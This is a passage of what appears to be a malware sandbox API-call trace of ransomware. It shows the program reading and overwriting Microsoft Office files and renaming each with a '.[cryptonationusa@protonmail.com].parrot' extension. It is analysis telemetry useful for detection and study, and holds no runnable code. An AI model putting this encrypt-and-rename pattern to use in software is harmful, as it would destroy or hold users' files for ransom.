lpOverlapped=0x0) returned 1 [0172.686] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.689] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll.idx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0172.695] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0172.695] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0172.697] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.697] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1bf80, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1bf80, lpOverlapped=0x0) returned 1 [0172.701] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.705] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.rest.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.rest.idx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0172.712] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0172.712] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0172.714] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.714] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x648, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x648, lpOverlapped=0x0) returned 1 [0172.714] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.715] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgch.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgch.vrd.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0172.721] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0172.721] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0172.723] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.723] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xdfa0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xdfa0, lpOverlapped=0x0) returned 1 [0172.727] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.731] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgchart.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgchart.vsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0172.736] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0172.736] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0172.738] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.738] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x44a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x44a, lpOverlapped=0x0) returned 1 [0172.738] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.738] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgpos.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgpos.vrd.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0172.743] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0172.743] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0172.745] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.745] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x105b0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x105b0, lpOverlapped=0x0) returned 1 [0172.748] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.748] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgwiz.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgwiz.vsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0172.755] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0172.756] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0172.757] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.757] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x16e00, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x16e00, lpOverlapped=0x0) returned 1 [0172.763] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.767] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outform.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outform.dat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0172.775] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0172.775] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0172.779] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.779] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x970, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x970, lpOverlapped=0x0) returned 1 [0172.780] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.780] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlbar.inf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlbar.inf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0172.785] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0172.786] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0172.787] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.787] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1d380, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1d380, lpOverlapped=0x0) returned 1 [0172.793] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.845] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.idx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0172.851] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0172.851] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0172.853] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.853] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x46f80, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x46f80, lpOverlapped=0x0) returned 1 [0172.865] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.880] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.rest.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.rest.idx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0172.887] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0172.887] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0172.982] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.982] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0173.022] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.022] WriteFile (in: hFile=0x27c, lpBuffer=0x6a3268*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x6a3268*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0173.025] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.025] WriteFile (in: hFile=0x27c, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0173.027] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6aa4f0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0173.027] CloseHandle (hObject=0x27c) returned 1 [0173.028] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev.hxs.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0173.079] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0173.079] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0173.162] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.162] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x28b, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x28b, lpOverlapped=0x0) returned 1 [0173.162] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.163] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0173.168] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0173.168] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0173.169] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.169] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd3, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd3, lpOverlapped=0x0) returned 1 [0173.169] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.170] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0173.173] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0173.173] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0173.174] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.174] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x72, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x72, lpOverlapped=0x0) returned 1 [0173.174] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.175] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_f_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0173.178] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0173.178] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0173.179] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.179] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x71, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x71, lpOverlapped=0x0) returned 1 [0173.180] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.180] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_k_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0173.183] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0173.183] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0173.189] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.189] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0173.324] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.324] WriteFile (in: hFile=0x284, lpBuffer=0x6a3268*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x6a3268*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0173.328] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.328] WriteFile (in: hFile=0x284, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0173.331] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x13a694, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0173.331] CloseHandle (hObject=0x284) returned 1 [0173.331] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hol"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hol.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0173.340] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0173.340] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0173.342] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.342] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0173.406] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.406] WriteFile (in: hFile=0x284, lpBuffer=0x6a3268*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x6a3268*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0173.409] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.409] WriteFile (in: hFile=0x284, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0173.412] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4c4d7f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0173.412] CloseHandle (hObject=0x284) returned 1 [0173.412] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hxs"), lpNewFileName="C:\\Program Files\\Microsoft 